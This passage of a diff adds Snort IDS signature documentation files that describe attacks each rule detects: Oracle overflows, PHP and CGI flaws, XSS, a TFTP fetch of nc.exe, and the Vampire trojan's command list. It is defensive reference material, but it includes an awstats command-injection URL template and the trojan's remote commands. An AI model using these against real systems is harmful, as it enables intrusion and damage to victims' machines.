+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2998.txt
+++ snort-2.7.0/doc/signatures/2998.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2998
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1816.txt
+++ snort-2.7.0/doc/signatures/1816.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1816
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000431.txt
+++ snort-2.7.0/doc/signatures/100000431.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000431
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "fileBrowserInner.php" using a remote file being passed as the "APP[path][core]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][core]" parameter in the "fileBrowserInner.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3463.txt
+++ snort-2.7.0/doc/signatures/3463.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+3463
+
+--
+Summary:
+This event is generated when an attempt is made to access the cgi script
+awstats.pl.
+
+--
+Impact:
+Possible execution of system commands.
+
+--
+Detailed Information:
+Adavanced Web Statistics (awstats) is used to process web server log
+files and produces reports of web server usage.
+
+Some versions of awstats do not correctly sanitize user input. This may
+present an attacker with the opportunity to supply system commands via
+the "logfile" parameter. For the attack to be sucessful the "update"
+parameter must also have the value set to "1". This event indicates that
+an attempt has been made to access the awstats.pl cgi script.
+
+--
+Affected Systems:
+	Awstats 6.1 and prior
+
+--
+Attack Scenarios:
+An attacker can supply commands of their choosing as a value for the
+logfile parameter by enclosing the commands in pipe charecters. For
+example: 
+
+ http://www.foo.com/cgi-bin/awstats.pl?update=1&logfile=|<command here>|
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+Disallow access to awstats.pl as a CGI script.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2870.txt
+++ snort-2.7.0/doc/signatures/2870.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2870
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_date
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2212.txt
+++ snort-2.7.0/doc/signatures/2212.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2212
+
+--
+Summary:
+This event is generated when an attempt is made to access imageFolio.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in BizDesign ImageFolio 3.01.
+
+--
+Impact:
+Remote execution of arbitrary code, possible session hijack.
+
+--
+Detailed Information:
+BizDesign ImageFolio 3.01 is a CGI-based web server application that manages image galleries. It contains a cross-site scripting vulnerability in imageFolio.cgi, where input is not properly validated. An attacker can craft a URL that, when executed by a legitimate user, runs with the security context of the web server. In this way, the attacker can obtain a legitimate user's session cookie, thereby posing as the user for the duration of the session.
+
+--
+Affected Systems:
+Any systems running BizDesign Image Folio version 3.0.1 or lower.
+
+--
+Attack Scenarios:
+An attacker crafts a URL that, when activated by a legitimate user, executes code that obtains the user's cookie on the user's computer with the security context of the web server. The attacker can then pose as the user for the duration of the session.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses imageFolio.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is unknown if this vulnerability has been fixed in ImageFolio 3.1. Contact the vendor, Bizdesign (http://www.bizdesign.com) for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/6265
+
+--
--- snort-2.7.0.orig/doc/signatures/2833.txt
+++ snort-2.7.0/doc/signatures/2833.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2833
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_master_repgroup
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2152.txt
+++ snort-2.7.0/doc/signatures/2152.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a script not normally used in a production environment. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a test script (test.php) that would not normally be used in a production environment.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+In applications such as Horde or IMP, the test.php script may reveal valuable server information to the attacker.
+
+--
+Affected Systems:
+Any host using php applications such as Horde or IMP.
+
+Other php applications may use a file named test.php also.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the php application on the host. The attacker might then gain administrator access to the site or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If the script test.php exists and is normally used, this rule will generate an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1245.txt
+++ snort-2.7.0/doc/signatures/1245.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1245
+
+--
+Summary:
+This event is generated when an attempt is made to access the .idq Indexing Service ISAPI filter. 
+
+--
+Impact:
+Intelligence gathering activity. If an .idq file is erroneously shared from a network share, an error message is returned from a request that contains the share path will be disclosed.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) installs several Internet Service Application Programming Interface (ISAPI) extensions.  The .idq ISAPI filter provides support for Internet Data Queries.  Files with the .idq suffix should not be located on network shares.  If an attempt is made to access them from a network share, an error message is returned disclosing the share path.  
+
+--
+Affected Systems:
+Hosts running IIS 4.0
+Hosts running IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can attempt to access a file with the .idq suffix in an attempt to receive an error message with disclosure about the share path.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Do not place files with the .idq suffix on a network share.
+ 
+
+--
+Contributors:
+Original rule written by Dr SuSE and C. Mayor 
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS552
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0071
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2734.txt
+++ snort-2.7.0/doc/signatures/2734.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2734
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_mview_propagation
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3063.txt
+++ snort-2.7.0/doc/signatures/3063.txt
@@ -0,0 +1,133 @@
+Rule: 
+
+--
+Sid: 
+3063
+
+-- 
+Summary: 
+This event is generated when an attempt is made to request a connection using
+the Vampire 1.2 trojan.
+
+-- 
+Impact: 
+If connected, the attacker could execute a multitude of functions resulting in a
+complete compromise of the victim's machine.
+
+--
+Detailed Information:
+Vampire 1.2 uses port 1020 by default. This port cannot be changed by the attacker. 
+
+The following is a list of the commands for many of Vampier 1.2's functions
+(Command Name: Command String):
+
+Chat With Victim: chat
+Clear Recent Folder: cleardoc
+Close Windows: endwin
+Corrupt File: currfile
+Crazy Mouse: crazy
+Delete Directory: deletedir
+Delete File: delete
+Disk Space Left: space
+Disable CTRL-ALT-DEL: ctrldisable
+Enable CTRL-ALT-DEL: ctrlenable
+Fill Hard Drive: fillhd
+Find File: findfiles
+Format: format
+Get Active Windows: getact
+Get ICQ Number: geticq
+Get Local Time: gettime
+Get Operating System: getos
+Get Server Path: getpath
+Get System Owner: getowner
+Get Temp Directory: gettemp
+Get Windows Directory: getwin
+Get Current User: getname
+Get Disk Serial Number: getserial
+Get Hard Drive: gethd
+Get Organization: getorg
+Hang Up Modem: hangup
+ISP Account Info: ispinfo
+Kill Window: killtask\
+Logoff: logoff
+Make Directory: makedir
+Monitor Off: monitoroff
+Monitor On: monitoron
+Hide Mouse: hidemouse
+Show Mouse: showmouse
+Open Control Panel: panel
+Open Date And Time: date
+Open CD-ROM: cdopen
+Close CD-ROM: cdclose
+Open URL: www\
+Ping: ping
+Read A Drive: reada
+Reboot: reboot
+Kill Registry: regfuck
+Run Program: run
+Screenshot: screenshot
+Send Keys: text
+Send Message: sndmsg
+Set Computer Name: pcname
+Set Volume Label: setvolumelabel
+Shutdown: shutdown
+Hide Task Bar: hidetask
+Show Task Bar: showtask
+Wacky CR-ROM: wackycd
+--
+Affected Systems:
+Windows 95/98/ME
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because
+they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually
+will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the
+attacker enters the IP address and 
+presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has
+installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action: 
+In order to get rid of it, you must kill the following processes:
+vampire.exe or (if not there) server.exe
+
+You must delete the following files from your hard drive:
+vampire.exe or (if not there) server.exe
+
+Keep your anti-virus software updated.
+
+--
+Contributors:
+Original Rule Writer: Ricky Macatee <rmacatee@sourcefire.com> 
+Sourcefire Research Team
+
+-- 
+Additional References:
+
+Pestpatrol:
+http://www.pestpatrol.com/pestinfo/v/vampire_1_2.asp
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/vampire/index.shtml
+
+--
--- snort-2.7.0.orig/doc/signatures/1896.txt
+++ snort-2.7.0/doc/signatures/1896.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1896
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.7.0.orig/doc/signatures/1407.txt
+++ snort-2.7.0/doc/signatures/1407.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1407
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000109.txt
+++ snort-2.7.0/doc/signatures/100000109.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000109
+
+-- 
+Summary: 
+This event is generated when an SQL injection attempt is made against the 
+OpenBB web bulliten board system.
+
+-- 
+
+Impact: 
+Attackers may run arbitrary database commands with the privileges of the 
+affected script.
+
+--
+Detailed Information:
+This rule looks specifically for attacks against the member.php module of the 
+OpenBB program. Attackers must supply a variable whose value is numeric, 
+followed by a space, in order to exploit this vulnerability.
+
+--
+Affected Systems:
+OpenBB 1.0.5
+OpenBB 1.1.0
+
+--
+
+Attack Scenarios: 
+A web browser or a script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as example attacks that can be used with a web browser are publicly 
+available.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, no vendor-supplied patches are available. A descripton of an 
+unverified workaround is available in the Additional References section.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+http://www.securityfocus.com/archive/1/319714
+
+-- 
--- snort-2.7.0.orig/doc/signatures/979.txt
+++ snort-2.7.0/doc/signatures/979.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+979
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross-site scripting vulnerability associated with a file having a .htw extension.
+
+--
+Impact:
+Cross-site scripting.  This attack may allow the execution of arbitrary commands on a victim host that visits a vulnerable server.
+
+--
+Detailed Information:
+The Microsoft Indexing Service is vulnerable to a cross-site scripting exploit because of a failure to properly filter user input associated with files with a .htw extension.  This vulnerability is associated with Indexing Service component (CiWebHitsFile). This may allow an attacker to execute abitrary code on the victim host that visits the vulnerable server.
+
+--
+
+Affected Systems:
+Microsoft Indexing Services for Windows NT 4.0 and Windows 2000
+
+
+--
+Attack Scenarios:
+An attacker can inject malicious code in a vulernable server.  This may allow execution of arbitrary code on the victim host that visits the vulnerable server. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch discussed in the referenced Microsoft Bulletin.
+ 
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1861
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0942
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-084.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/2897.txt
+++ snort-2.7.0/doc/signatures/2897.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2897
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_site_priority
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1441.txt
+++ snort-2.7.0/doc/signatures/1441.txt
@@ -0,0 +1,49 @@
+Rule:
+
+Sid:
+1441
+
+Summary:
+This event is generated when a TFTP GET request is made for "nc.exe".  This could be an indication that a remote attacker has compromised a Windows based system and is attempting to move attack tools onto the system.
+
+Impact:
+In normal situations this is a good indication that the host transmitting the request has been compromised by a remote attacker.  If the request was successful it is a clear indication that the host is now under the control of a remote attacker.  Once "nc.exe" is executed on the compromised system a remote attacker will be able to run arbitrary commands with the privilege level of the user that exected "nc.exe"
+
+Detailed Information:
+NetCat (nc.exe) is a widely used Unix and Windows utility that reads and writes data across network connections.  It can be used to redirect an application's input and output across a network and allows remote attackers an easy way to move rootkits and other tools onto a compromised system.  
+
+Currently this rule searches for "nc.exe" in TFTP GET requests.  Many times this rule will detect the first stages of a remote compromise attempt, as many attackers use NetCat to gain a command prompt on Windows based systems.
+
+Affected Systems
+Windows 95
+Windows 98
+Windows NT
+Windows 2000
+
+Attack Scenarios:
+Remote attackers use "nc.exe" to gain a command prompt "cmd.exe" on Windows based systems.  This allows for easy manipulation of the underlying file system, and also creates a simple attack vector for uploading rootkits and tools.
+
+Ease of Attack:
+Simple.  TFTP (Trivial File Transfer Protocol) is a simple method for transfering binary files across the Internet.  It requires minimal skill to use and is easy to operate in a restricted environment.
+
+False Positives:
+This rule was created to catch TFTP GET requests for "nc.exe", if this file name is being used during a legitimate TFTP session this rule will generate a false positive.
+
+False Negatives:
+Any attacker who changes "nc.exe" to another filename will bypass this rule.
+
+Corrrective Action:
+The host generating the request should be investigated for evidence of a compromise.  If it is determined that the system has been compromised the only safe way to recover the system is to format the system drives and re-install the system.
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matthew Watchinski <Matt.Watchinski@sourcefire.com>
+
+Additional References
+
+NetCat the Network Swiss Army Knife - http://www.atstake.com/research/tools/nc110.txt
+  
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000800.txt
+++ snort-2.7.0/doc/signatures/100000800.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000800
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "name" parameter in the "editor_menu.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/879.txt
+++ snort-2.7.0/doc/signatures/879.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+879
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
